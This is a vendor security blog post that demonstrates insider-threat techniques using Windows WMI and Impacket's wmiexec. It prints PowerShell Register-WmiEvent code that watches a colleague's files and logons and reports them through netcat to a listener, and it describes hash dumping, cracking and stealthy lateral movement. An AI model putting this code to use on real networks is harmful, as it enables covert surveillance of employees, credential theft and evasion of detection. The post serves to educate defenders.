Live Cyber Attack Lab 🎯 Watch our IR team detect & respond to a rogue insider trying to steal data! Choose a Session


Insider Threats: Stealthy Hacking With WMI (Windows Management Instrumentation)

IT Pros

In looking at Windows features and tools from the perspective of a pen tester, it’s easy to lose sight that Microsoft’s operating system is really, wait for it, impressive. I wish I had something even close to PowerShell when I was doing work in Linux/Unix back in the day. It’s an object-oriented shell, which is cool in itself. Through its .Net framework, PowerShell makes available to admins key OS features and subsystems.

In this post, we’ll explore one of these subsystems, Windows Management Instrumentation or WMI. While an impressive piece of software engineering, WMI has a spookier side: it can be abused by insiders as a tool to surveil other employees.

Quick Review of WMI

Those of you who read my amazing series on WMI as a security tool may recall how I was able to query OS file system objects. If you also remember how I triggered on events to launch a script, you get extra points. Yeah, I was wowed by the PowerShell-WMI combination.

Let’s get more specific. With WMI, you can query for, say, all large Excel files found in a directory, and then get notified when a new file meeting  a file size criteria of, say, 1 Mb is created. As I showed, the Register-WmiEvent cmdlet does all this through one somewhat complex line of PowerShell.

Just as we can do good with WMI, it’s also possible to do some evil insider hacking. It doesn’t take that much technical knowledge, and you can imagine a Snowden-like employee turning WMI into an employee monitoring tool.

Perhaps our hypothetical insider knows — from say shoulder-surfing — that his colleague Lex occasionally downloads large Excel files containing social security and other account numbers of customers. Our stealthy insider could put together the following:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action

The above code queries the CIM_DataFile object to obtain Excel file creation details in a specific directory, and then fires a script block. Towards the end of this post, we’ll explore what that script block might look like for our insider scenario.

Impacket’s Stealthy Wmiexec

There’s a lot more to WMI than its event-management capabilities. It can also launch processes and run commands on Windows boxes, either locally or remotely. For kicks you can try entering this command in your PowerShell session, wmic process call create ‘notepad.exe’, to bring up Microsoft’s legacy text editor. It uses WMI’s amazing wmic command line tool. Neat, right?

If I added a “/Node:” option followed by the name of a remote Windows system, I could have launched Notepad on that machine, assuming I had appropriate permissions. Obviously, at a practical level, wmic is an incredible aide for sys admins.

And before you start shouting into the browser, I know there are also equivalent PowerShell cmdlets, but I find the wmic syntax easier to remember.

Wouldn’t it be great if I could somehow wangle WMI to create a simple, stealthy pseudo-shell?

Stealthy pseudo-shell with wmiexec.

Thankfully, Impacket does just that. In my Amazon test environment, I used its awesome wmiexec to access WMI from my Linux VM. Wmiexec offers a workable pseudo-shell experience, where for each command entered on the client side, it directly launches a separate shell on the target machine to run the command.

Both psexec and smbexec use — see my previous post — Windows Services  to launch commands on the remote system. Smbexec is a little stealthier since it quickly creates and then deletes a service, whereas psexec leaves the telltale service around.

Wmiexec directly launches cmd.exe to run a command remotely.  In the Event Viewer, you can spot the actual command it has crafted. Note: Noisy Windows Services avoided.

Anyway, Impacket’s wmiexec avoids Services altogether, instead relying on WMI’s aforementioned power to directly start a process. Keep in mind that WMI is generally not the first place defenders investigate as a possible source for threats, whereas Services is usually a good starting point for looking for evidence of an attack. Well played, wmiexec!

Stalking a User With WMI Events

While I thought I was being clever in my own WMI experiments, it turns out the pen tester community has been there and done that! I urge you to read Matt Graeber’s fabulous 2015 BlackHat presentation on how attackers can turn WMI and its event triggering gadgetry into a hacking tool.

I’ll take up some of Matt’s ideas in the next post. For my own scenario, I’m assuming a Snowden-like insider who has some tech knowledge, but not deep hacker wisdom, and is in a position of trust. This person doesn’t need to know all of WMI’s capabilities, but enough to work out its remote capabilities and its power to trigger on events.

Beside file objects, another interesting class of objects that can be examined with WMI  is win32_LogOnSession. You query this underlying Windows object to find users who are currently logged on. And then use Register-WmiEvent’s action script block to trigger a PowerShell script when a new user logs on remotely. Got that? The attacker can be notified whenever a user that they’re stalking logs onto the targeted Windows machine.

Here’s what I cooked up:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

The next question is how to code the script block. The mythical insider in my scenario is interested in a specific user, Cruella that I mentioned in the last post. Remember? Our evil employee had OSINT on Cruella and planned to leverage that knowledge to crack her DCC credentials.

The script block should check who’s currently logged on and detect if Cruella has shown up. I came up with a few lines of PowerShell to do the job, but it’s not very efficient! I don’t take advantage of the event information passed into the script block — the new user. This turns out to be tricky to pull off for reasons I can’t get into at this point, and may require more tech knowledge than our hypothetical insider has or wants to learn.

Instead, I just iterated through the list of users returned by gwmi Win32_Process — you should try running this cmdlet in your own PowerShell session — and match on “Cruella”.You can gaze upon the complete solution below:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {
$names=gwmi Win32_Process|% { $_.GetOwner().User}

foreach ($user in $names){
   if ($user -eq "cruella") {
        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 80 



The sneaky point behind using Register-WmiEvent is to efficiently trigger on a new logon event rather than periodically polling the Win32_Process object, which is a noisy thing to do.

Keep in mind that our insider is laying low. She does have access to the remote system through psexec, smbexec, or the stealthiest alternative, wmiexec, but she doesn’t need to be prowling around on the victim’s system.

And that’s the advantage of using the WMI events. You can make your lateral move when you get the notification from Register-WmiEvent.

WmiEvent and Netcat Together For the First Time

How does the script then return this interesting news that Cruella has logged on to the targeted machine?

Those of you who spotted the use of netcat above get extra credit. Netcat is a well-known and versatile communications tool — not necessarily considered malware — that pops reverse shells, or can simply send a message across the network. I went with the latter option.

The script above messages a waiting netcat in listen mode and displays “Cruella logged in”. Mission accomplished.

You can envision our rogue employee then dumping hashes using Impacket’s secretsdump, cracking Cruella’s DCC hash, and wmiexec-ing using her higher privileges to find more interesting data.

You can launch the Register-WmiEvent code directly. Notice the event id that’s displayed.

Let’s take a breather. The above Register-WmiEvent PowerShell code is effectively the payload we want to set up on the target. We’ll go over the key points of this attack again in the next post, and then show how our stealthy employee can launch the payload remotely. We’ll also discuss what Matt Graeber was getting at with his use of permanent WMI events. More next time!

Want to see how Varonis can detect and stop a rogue insider? Register for our Live Cyber Attack webinar!

Andy Green

Andy Green

Andy blogs about data privacy and security regulations. He also loves writing about malware threats and what it means for IT security.


Does your cybersecurity start at the heart?

Get a highly customized data risk assessment run by engineers who are obsessed with data security.